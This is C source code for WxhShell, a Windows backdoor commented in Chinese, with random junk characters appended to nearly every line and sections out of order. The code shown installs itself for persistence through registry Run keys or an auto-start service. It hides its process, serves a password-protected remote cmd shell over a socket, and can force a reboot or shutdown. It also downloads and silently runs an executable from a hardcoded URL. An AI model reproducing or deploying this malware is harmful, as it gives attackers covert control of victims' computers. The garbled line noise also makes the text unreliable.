    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *0O<bm  
    else { >5c]aNcv  
    closesocket(wsh); #De(*&y2  
    ExitThread(0); ;JYoW{2  
    } m6-76ma,hi  
    break; ]+AAT=B<!  
    } P!5Z]+B#  
  // 获取shell AQ-mE9>P  
  case 's': { ^ b@!dS  
    CmdShell(wsh); ?F1wh2o q  
    closesocket(wsh); > 9o{(j  
    ExitThread(0); j?( c}!}  
    break;  ?J<T  
  } :H{Bb{B%  
  // 退出 ~+<<bzY  
  case 'x': { g+.0c=G(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T\jAk+$Jo  
    CloseIt(wsh); 3Mw}R6g@#  
    break; .M8=^,h^K  
    } B0v|{C   
  // 离开 fO #?k<p  
  case 'q': { t7&Dwmck9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sqT^t!  
    closesocket(wsh); 6Hda]y  
    WSACleanup(); #aa1<-&H  
    exit(1); \OP9_J(*  
    break; _y>}#6B  
        } 'v\j.j/i  
  } W;.{]x.0  
  } \Y9I~8\ gB  
vuZf#\zh}  
  // 提示信息 Ym'7vW#~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {b2 aL7  
} _1P`]+K\D$  
  } PzLJ/QER  
YN/u9[=`  
  return; C *a,<`  
} `T=1<Twc  
$}db /hY*  
// shell模块句柄 5.dl>,  
int CmdShell(SOCKET sock) n%*tMr9s  
{ @/LiR>,  
STARTUPINFO si; X CzXS.  
ZeroMemory(&si,sizeof(si)); +|9f%f6vp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AO $Wy@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kB V/rw  
PROCESS_INFORMATION ProcessInfo; >{b3>s~T  
char cmdline[]="cmd"; };^}2Xo+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s0 47"Q  
  return 0; LaclC]yLU  
} }Fm\+JOS   
?&6Q%IUW1  
// 自身启动模式 J]dW1boT@  
int StartFromService(void) ~?CS_B *  
{ * .o"ZVl  
typedef struct \TZ|S,FS  
{ bH,M,xIL2  
  DWORD ExitStatus; -8/JP  
  DWORD PebBaseAddress; hox< vr4  
  DWORD AffinityMask; j-QGOuvW  
  DWORD BasePriority; lM$t!2pRB  
  ULONG UniqueProcessId; >%l:Dw\A:  
  ULONG InheritedFromUniqueProcessId; Gp8psH  
}   PROCESS_BASIC_INFORMATION; fQO ""qh  
U:\p$hL9  
PROCNTQSIP NtQueryInformationProcess; BtzYA"  
F*,5\s<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a5)JkC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1U'ZVJ5bpK  
fq=:h\\G  
  HANDLE             hProcess; \qB6TiB/  
  PROCESS_BASIC_INFORMATION pbi; lA]N04 d  
_CL{IY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m d_g}N(C  
  if(NULL == hInst ) return 0; me:iQ.g  
\+9;!VWhl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5/,Qz>QE[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _-RyHgX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8RU.}PD  
=gs~\q  
  if (!NtQueryInformationProcess) return 0; z>p]/Sa  
++0rF\&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )T/J  
  if(!hProcess) return 0; Zt_r9xs>  
D?mDG|Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _Z$?^gn  
m@[3~ 6A  
  CloseHandle(hProcess); /S[?{QA  
- zQ<Z E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cx,-_  
if(hProcess==NULL) return 0; <S&]$?`{Wi  
5e8xKL  
HMODULE hMod; c})wD+1  
char procName[255]; u-:MVEm  
unsigned long cbNeeded; LZa% x  
xj7vI&u.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n$xszuNJ`  
'-.wFB;  
  CloseHandle(hProcess); zIm-X,~I$  
pZjpc#*9N  
if(strstr(procName,"services")) return 1; // 以服务启动 =9<$eLE0  
iu|v9+  
  return 0; // 注册表启动 C5MqwNX  
} W "k| K:  
&r:=KT3  
// 主模块 d#8e~  
int StartWxhshell(LPSTR lpCmdLine) .:N:pWe  
{ FB_NkXR  
  SOCKET wsl; dXK-&Po'  
BOOL val=TRUE; ^7^2D2[  
  int port=0; tpGCrn2w>  
  struct sockaddr_in door; %I0}4$  
&Sa~/!M  
  if(wscfg.ws_autoins) Install(); 7D9]R#-K  
]Zk}ZG>6  
port=atoi(lpCmdLine); o[^Q y(2~  
_ Mn6L=  
if(port<=0) port=wscfg.ws_port; wPgDy  
Si R\a!,C  
  WSADATA data; h1-Gp3#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p#=;)1  
EZ{\D!_Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +q-c 8z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U=DEV7E  
  door.sin_family = AF_INET; Zw24f1iY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8i[LR#D)  
  door.sin_port = htons(port); N|<bVq%  
[<S^c[47U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $+jy/:]D  
closesocket(wsl); m9!DOL1pl  
return 1; A_F0\ EN*  
} }*Zo6{B-  
- wWRm  
  if(listen(wsl,2) == INVALID_SOCKET) { ~bGC/I;W>  
closesocket(wsl); )qd= {  
return 1; CIy^`2wq  
} =f `=@]  
  Wxhshell(wsl); In+^V([u+_  
  WSACleanup(); cm,4&x6  
&mdB\Y?^  
return 0; s~Gw  
URQ@=W7  
} *(Ro;?O,pi  
aaT5u14%  
// 以NT服务方式启动 ,5. <oDH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |*fNH(8&H  
{ ,Z5Fea  
DWORD   status = 0; cd&B?\I  
  DWORD   specificError = 0xfffffff;  Fs)  
qRl/Sl#F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L#!$hq9{_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~j]dct7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rKT)!o'  
  serviceStatus.dwWin32ExitCode     = 0; ?Q?598MC  
  serviceStatus.dwServiceSpecificExitCode = 0; #Qsk}Gv  
  serviceStatus.dwCheckPoint       = 0; X  Ny Y$  
  serviceStatus.dwWaitHint       = 0; 1a*6ZGk.  
kC31$jMC3!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f~R[&q +  
  if (hServiceStatusHandle==0) return; A _i zSzC1  
bBG/gQ  
status = GetLastError(); N6q5`Ry  
  if (status!=NO_ERROR) {#9,j]<  
{ qy&\Xgn;GA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J'Gm7h{   
    serviceStatus.dwCheckPoint       = 0; gi1j/j7  
    serviceStatus.dwWaitHint       = 0; xU:4Y0y8  
    serviceStatus.dwWin32ExitCode     = status; `0z/BCNB  
    serviceStatus.dwServiceSpecificExitCode = specificError; B.RRdK+:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y;r"+bS8  
    return; #<]Iz'\`  
  } Wp`C:H  
3C#RjA-2[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~b#OFnyG  
  serviceStatus.dwCheckPoint       = 0; PT05DH  
  serviceStatus.dwWaitHint       = 0; ftaBilkjp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :G0+;[?N  
} fyrd `R  
(7L/eDMT  
// 处理NT服务事件,比如:启动、停止 MX?}?"y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5QOZ%9E&M  
{ .jaZ|nN8`  
switch(fdwControl) >3!DOv   
{ LyV#j>gD  
case SERVICE_CONTROL_STOP: *F|+2?a:$  
  serviceStatus.dwWin32ExitCode = 0; RAwk7F3qn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }k| g%H J  
  serviceStatus.dwCheckPoint   = 0; sjb-Me?  
  serviceStatus.dwWaitHint     = 0; VfRs[ 3Q  
  { 3A d*,>!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D$$3fN.iEL  
  } PLdf_/]-   
  return; .aJ%am/:%  
case SERVICE_CONTROL_PAUSE: 7j T#BWt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E[ 0Sst x  
  break; _jo$)x+'x  
case SERVICE_CONTROL_CONTINUE: oSmjs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :l;,m}#@  
  break; nNu[c[V  
case SERVICE_CONTROL_INTERROGATE: Pj._/$R[/  
  break; W8VO)3nmD  
}; KX=/B=3~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H>Ks6V)RL4  
} s.KOBNCFa  
/k) NP  
// 标准应用程序主函数 d=F)y~&'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @2?=3Wf  
{ ]1tN|ODY*W  
PF`:1;P U  
// 获取操作系统版本 m|mG;8}pI  
OsIsNt=GetOsVer(); hwp/jO:7\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "h$D7 mL  
xY+A]Up|w  
  // 从命令行安装 _Qg{ ;  
  if(strpbrk(lpCmdLine,"iI")) Install(); aoK4Du{  
5c)wZ  
  // 下载执行文件 Yx!n*+:J  
if(wscfg.ws_downexe) { 8TI#7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <ip)r;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6# R;HbkO  
} :/~_sJt C  
 XtR`?  
if(!OsIsNt) { eWw y28t  
// 如果时win9x,隐藏进程并且设置为注册表启动 T%w(P ^qk  
HideProc(); y/H8+0sEk  
StartWxhshell(lpCmdLine); gsi<S6DQ8  
} A>5S]  
else ;2BPPZ  
  if(StartFromService()) v >NTh  
  // 以服务方式启动 kHZKj!!R  
  StartServiceCtrlDispatcher(DispatchTable); so'eZ"A:  
else TZkTz P[  
  // 普通方式启动 v3Eo@,-  
  StartWxhshell(lpCmdLine); ?nY/, q&  
. rRc  
return 0; H&9wSG`  
} m8p4U-*j  
h|)2'07  
9z5z  
+Z]y #=  
=========================================== Y[T J;O!R  
95VqaR,  
 r^e-.,+  
uz8nRS s  
%bN"bxv^  
ga,A'Z  
" #i6[4X?  
R+C+$?4NG  
#include <stdio.h> =\*S'Ded  
#include <string.h>  POkXd^pI  
#include <windows.h> :K?iNZqWN6  
#include <winsock2.h> S`fu+^c v  
#include <winsvc.h> hY)YX,f=S  
#include <urlmon.h> \A~4\um  
dnk1Mu<  
#pragma comment (lib, "Ws2_32.lib") uLF\K+cz  
#pragma comment (lib, "urlmon.lib") 3$;J0{&[i  
N c9<X  
#define MAX_USER   100 // 最大客户端连接数 Ogn,1nm%  
#define BUF_SOCK   200 // sock buffer /\Jc:v#Q  
#define KEY_BUFF   255 // 输入 buffer -0/=k_q_  
{3jm%ex  
#define REBOOT     0   // 重启 @ $ 9m>6V  
#define SHUTDOWN   1   // 关机 *'s&/vEy  
+W!'B r  
#define DEF_PORT   5000 // 监听端口 Id; mn}+~  
RiwEuY  
#define REG_LEN     16   // 注册表键长度 [Q7`RB  
#define SVC_LEN     80   // NT服务名长度 <ihhV e  
Gt?!E6^ !  
// 从dll定义API f45x%tha%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tPQ2kEW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /%c+ eL}l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <1v{[F_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'Wd3`4V$  
ikeJDKSG  
// wxhshell配置信息 @?(nwj~ s`  
struct WSCFG { + ?[ ACZF  
  int ws_port;         // 监听端口 QJb7U5:B+  
  char ws_passstr[REG_LEN]; // 口令 'cWlY3%t  
  int ws_autoins;       // 安装标记, 1=yes 0=no  eYPt  
  char ws_regname[REG_LEN]; // 注册表键名 /2=_B4E2  
  char ws_svcname[REG_LEN]; // 服务名 f'8B[&@L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i+kFL$N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "0p +SZ~D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HE8'N=0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i G?w;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q_OY sg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2X qPZ]2g  
17?NR\Q  
}; 7] R6  
1==P.d(  
// default Wxhshell configuration bgkbwE  
struct WSCFG wscfg={DEF_PORT, yL^M~lws  
    "xuhuanlingzhe", >^2ZM  
    1, \k2C 5f  
    "Wxhshell", WoC\a^V  
    "Wxhshell", 1)nM#@%](h  
            "WxhShell Service", k 2 mkOb  
    "Wrsky Windows CmdShell Service", '` BjRg57]  
    "Please Input Your Password: ", +Y_Q?/M@8  
  1, y$+!%y*  
  "http://www.wrsky.com/wxhshell.exe", n#/U@qVgc  
  "Wxhshell.exe" v]UU&Jq8U  
    }; lyMJW }T+>  
.2 N_?  
// 消息定义模块 o+PQ;Dl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8+@1wks  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R] V~IDs   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xuz8"b5^Zx  
char *msg_ws_ext="\n\rExit."; -;W\f<q]  
char *msg_ws_end="\n\rQuit."; a,F8+ Pb>  
char *msg_ws_boot="\n\rReboot..."; 81%qM7v9H  
char *msg_ws_poff="\n\rShutdown..."; WHdqO8  
char *msg_ws_down="\n\rSave to "; j};pv2  
>vNk kxWyQ  
char *msg_ws_err="\n\rErr!"; sWqPw}/3>  
char *msg_ws_ok="\n\rOK!"; tIgCF?  
$Sc08ro  
char ExeFile[MAX_PATH]; M4L~bK   
int nUser = 0; #]N&6ngJ  
HANDLE handles[MAX_USER]; 59"Nn\}3gE  
int OsIsNt; K{`2jK#  
S]#=ES'^/  
SERVICE_STATUS       serviceStatus; ;'Z,[a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q9Xm b2LN  
]e#,\})Br  
// 函数声明 \6nQ-S_  
int Install(void); wnZ*k(  
int Uninstall(void); Xm0&U?dZB  
int DownloadFile(char *sURL, SOCKET wsh); oK(W)[u  
int Boot(int flag); .lNnY8<  
void HideProc(void); umHs" d  
int GetOsVer(void); <7sF<KD  
int Wxhshell(SOCKET wsl); |{}d5Z"5;}  
void TalkWithClient(void *cs); *cb D&R\  
int CmdShell(SOCKET sock); (<AM+|  
int StartFromService(void); { 8|Z}?I  
int StartWxhshell(LPSTR lpCmdLine); _Oaso >  
ZQJw2LAgO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !pF KC)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4IGQ,RTB  
 HC<BGIgL  
// 数据结构和表定义 0N} wD-  
SERVICE_TABLE_ENTRY DispatchTable[] = ho SU`X  
{ }y -AoG  
{wscfg.ws_svcname, NTServiceMain}, 4,R\3`b  
{NULL, NULL} ?L ~=Z\H  
}; )=SYJ-ta<  
}X W#?l  
// 自我安装 @zVBn~=i  
int Install(void) "cz]bCr8  
{ ^0BF2&Zx  
  char svExeFile[MAX_PATH]; jT wM<?  
  HKEY key; L;(3u'  
  strcpy(svExeFile,ExeFile); <|>:UGAR  
~n]2)>6  
// 如果是win9x系统,修改注册表设为自启动 KWZNu &)  
if(!OsIsNt) {  8t^;O!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +'YSpJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .ON$vn7  
  RegCloseKey(key); ;MdK3c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q}7Df!<|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e4NX\tCpw  
  RegCloseKey(key); {KQ-Ce-6  
  return 0; X G@>1/  
    } pN^G[  
  } szM=U$jKq  
} U mx  
else { Z({`9+/>u  
#\!hBL @b  
// 如果是NT以上系统,安装为系统服务 "l2N_xX;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [7 Kj$PB3  
if (schSCManager!=0) gWU(uBS  
{ 5GWM )vrZg  
  SC_HANDLE schService = CreateService 3\U,Kg  
  ( ?U.&7yY  
  schSCManager, Bbe/w#Z  
  wscfg.ws_svcname, y0mg}N1  
  wscfg.ws_svcdisp, *MyS7<  
  SERVICE_ALL_ACCESS, 5IF~]5s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BX)cV  
  SERVICE_AUTO_START, W~@GK  
  SERVICE_ERROR_NORMAL,  M$-(4 0  
  svExeFile, ~ @"Qm;} "  
  NULL, gCBZA;/  
  NULL, Uc%`? +Q  
  NULL, }?ac<> u&  
  NULL, =*)O80oaW  
  NULL P A+e= %  
  ); Zv7$epDUz  
  if (schService!=0) V~^6 TS(  
  { _$jJpy  
  CloseServiceHandle(schService); !E.l yz  
  CloseServiceHandle(schSCManager); HI`A;G]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p=5H^E m1  
  strcat(svExeFile,wscfg.ws_svcname); -r2qIt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }JTgj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .^+$w $  
  RegCloseKey(key); r3bvuq,6$  
  return 0; A,CPR0g%  
    } 0{Ll4  
  } pUEok+  
  CloseServiceHandle(schSCManager); W&re;?Z{ke  
} Q8/0Cb/  
} D@vvy6>~s  
';L^mxh  
return 1; O=?X%m #  
} y.]]V"'2  
(( IBaEq  
// 自我卸载 !iz vY  
int Uninstall(void) ^Th"`Av5  
{ Bc@r*zb  
  HKEY key; YV!V9   
oX]1>#5UMg  
if(!OsIsNt) { N %/DN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _w,0wn9N$  
  RegDeleteValue(key,wscfg.ws_regname); S/:QVs  
  RegCloseKey(key); e ~,'|~ C5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  eJ\j{-  
  RegDeleteValue(key,wscfg.ws_regname); `j"G=%e3.  
  RegCloseKey(key); Ol5xyj  
  return 0; }c#/1J7  
  } 9TN5|x  
} ML"P"&~u6  
} f?I *`~k  
else { . t%Vx  
^{+:w:g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~ai' M#  
if (schSCManager!=0) HaN _}UMP  
{ w3cK: C0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "}aM*(l+\  
  if (schService!=0) _!p$47  
  { eu|q {p  
  if(DeleteService(schService)!=0) { e ;u8G/  
  CloseServiceHandle(schService); 4W-+k  
  CloseServiceHandle(schSCManager); !l~aRj-WZ  
  return 0; /{)cI^9  
  } o-Fle, qf  
  CloseServiceHandle(schService); xi^e =:;`  
  } /+U)!$zm*  
  CloseServiceHandle(schSCManager); SpiC0  
} *K^O oS  
} f0bV]<_9  
}? '9L:  
return 1; =v=!x  
} yQ&%* ?J  
1 b%7FrPkd  
// 从指定url下载文件 R'HA>?D  
int DownloadFile(char *sURL, SOCKET wsh) cW^) $>A  
{ i1 Sc/  
  HRESULT hr; O7*i;$!R  
char seps[]= "/"; 3s$.l }  
char *token; To? bp4  
char *file; a-2 {x2O  
char myURL[MAX_PATH]; zW`koRH@  
char myFILE[MAX_PATH]; ^TuEp$Z=  
cyeDZ)  
strcpy(myURL,sURL); O +}EE^*a  
  token=strtok(myURL,seps); Rw8m5U  
  while(token!=NULL) Q31c@t  
  { oT{yttSNo  
    file=token; 9yAu<a  
  token=strtok(NULL,seps); ;!sGfrs 0$  
  } r@UY$z  
 M.^A`   
GetCurrentDirectory(MAX_PATH,myFILE); `bF;Ew;  
strcat(myFILE, "\\"); =_6h{f&Q  
strcat(myFILE, file); ?O Nw*"9  
  send(wsh,myFILE,strlen(myFILE),0); y.<Y]m  
send(wsh,"...",3,0); 3m7V6##+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z5'nS&x  
  if(hr==S_OK) Z-!T(:E]  
return 0; [&s:x ,  
else ; O0rt1  
return 1; -RDs{c`y%N  
@ &yj7-]  
} ebK wCZwK*  
agD.J)v\  
// 系统电源模块 MCG~{#`  
int Boot(int flag) Q kpmPQK  
{ HN@)/5BY  
  HANDLE hToken; a/#,Y<kJ  
  TOKEN_PRIVILEGES tkp; J :(\o=5 5  
t+q`h3  
  if(OsIsNt) { E1g$WhXIS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1\{F.v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X0TGJ,yW(  
    tkp.PrivilegeCount = 1; gi >{`.]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X;>} ;LiK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =upP3rw  
if(flag==REBOOT) { H;&t"Ql.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .w)t<7 y  
  return 0; TvwIro  
} :!h H`l}p  
else { !S{<Xc'wv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !WnI`  
  return 0; ji=po;g=E  
} z59J=?|  
  } ~-i?=  
  else { ob #XKL  
if(flag==REBOOT) { FR"^?z?}p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xy&#}S}9  
  return 0; $c47cJO)W  
} Or>[_3  
else { zxdO3I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *X=-^\G  
  return 0; W7"sWaOhW  
} !{;RtUPz*  
} e[!>ezaIY  
eO G%6C%a  
return 1; )>p6h]]a  
} >FNt*tX<0  
}iAi`_\0;  
// win9x进程隐藏模块 ~T9[\nU\  
void HideProc(void) it vdzPO  
{ RoRVu,1  
iKY&gnu"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _AHVMsz@  
  if ( hKernel != NULL ) YfKty0  
  { V|7CYkB8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4/|=0TC;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UMaKvr-C&  
    FreeLibrary(hKernel); KW<CU'  
  } Um<vsR  
-Ma"V  
return; tEs$+b  
} ` 454=3H  
JM%#L*;  
// 获取操作系统版本 +dv@N3GV  
int GetOsVer(void) {%Sw w:  
{ ? |dz"=y  
  OSVERSIONINFO winfo; h6t>yC\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v2V1&-  
  GetVersionEx(&winfo); R&0l4g-4>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y~xZ{am  
  return 1; 2Oa-c|F  
  else 6 -}gqkR  
  return 0; *93 N0m4Rl  
} i\G3 u#  
_T$\$v$ {  
// 客户端句柄模块 T-TH. R  
int Wxhshell(SOCKET wsl) -C+vmY*@  
{ D6WsEd>  
  SOCKET wsh; GZo4uwG@a  
  struct sockaddr_in client; U_No/$ b  
  DWORD myID; W]OT=6u8o  
gP@ni$n  
  while(nUser<MAX_USER) +|;IIwo  
{ 4KnDXQ%  
  int nSize=sizeof(client); 7F4]EA ^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E.9F~&DPJ<  
  if(wsh==INVALID_SOCKET) return 1; 8^lXM-G-  
X c^~|%+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8h97~$7)  
if(handles[nUser]==0) *&D=]fG  
  closesocket(wsh); -E7\ .K3  
else 25L{bcng  
  nUser++; lLhCk>a  
  } %Y TIS*+0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wah`  
"6i9f$N  
  return 0; d}Om?kn  
} iJBZnU:Mp  
O]>`B{  
// 关闭 socket C0RwW??t  
void CloseIt(SOCKET wsh) %}[??R0  
{ V|)>  
closesocket(wsh); ]!N5jbA@  
nUser--; OBZj-`fqJ  
ExitThread(0); X#yl8k_  
} @!$NUY8,A#  
x-<dJ}`  
// 客户端请求句柄 ~CA+'e%~~  
void TalkWithClient(void *cs) g i)/iz`  
{ heWb(E&  
,l6W|p?ZO^  
  SOCKET wsh=(SOCKET)cs; J*k4&l  
  char pwd[SVC_LEN]; sAN#j {  
  char cmd[KEY_BUFF]; [H1NP'Kg]  
char chr[1]; Gu= Rf`o  
int i,j; C6n4OU  
SxDE3A-:  
  while (nUser < MAX_USER) { ;Yj}9[p;T  
TI332,eL  
if(wscfg.ws_passstr) { _MU'he^W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P*SXfb"HC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |j,Mof  
  //ZeroMemory(pwd,KEY_BUFF); RC 48e._t  
      i=0; ~&x%;cnv_  
  while(i<SVC_LEN) { P(`IY +  
JI&>w-~D  
  // 设置超时 ezn>3?S  
  fd_set FdRead; Ut+mm\7  
  struct timeval TimeOut; i]nE86.;  
  FD_ZERO(&FdRead); D1f=f88/}  
  FD_SET(wsh,&FdRead); -n9e-0  
  TimeOut.tv_sec=8; Hpt)(Nz:  
  TimeOut.tv_usec=0; AS7!FD6b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eZcm3=WV|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H2]I__t/u  
NQG"}=KA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cv|:.y  
  pwd=chr[0]; 0\+Qi?&  
  if(chr[0]==0xd || chr[0]==0xa) { ? _W*7<  
  pwd=0; 4Qv|Z+$i  
  break; `Ao: }  
  } >HFJm&lQ  
  i++; 3{ci]h`:y8  
    } G 1$l%B  
g_=Q=y@,  
  // 如果是非法用户,关闭 socket ^.(]i \V_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h@J`:KO  
} )d(cXN-T  
(]1 %s?ud*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^tah4QmUA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,w6?} N  
u7mj  
while(1) { :.dQY=6I  
)oj`K,#  
  ZeroMemory(cmd,KEY_BUFF); <n>< A+D  
=8iM,Vl3  
      // 自动支持客户端 telnet标准   !rWib` %  
  j=0; 6"DvdJ0MB  
  while(j<KEY_BUFF) { 0^m02\Li  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `9ieTt  
  cmd[j]=chr[0]; p})&Zl)V  
  if(chr[0]==0xa || chr[0]==0xd) { 9qpH 8j+  
  cmd[j]=0; m[}$&i$(  
  break; NB^.$ 3 9n  
  } J=$v+8&.  
  j++; sJr$[?  
    } C>+UZ  
iJYr?3nw;  
  // 下载文件 F JzjS;  
  if(strstr(cmd,"http://")) { _ReQQti[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "K8qmggTq  
  if(DownloadFile(cmd,wsh)) !-QKh aY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j<!$ug9VA  
  else 982$d<0%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4nY2v['m0  
  } 5}m2D='  
  else { ?eu=0|d  
3]!(^N>V  
    switch(cmd[0]) { r[gV`khka  
  >$?Z&7Lv  
  // 帮助 +z4NxR   
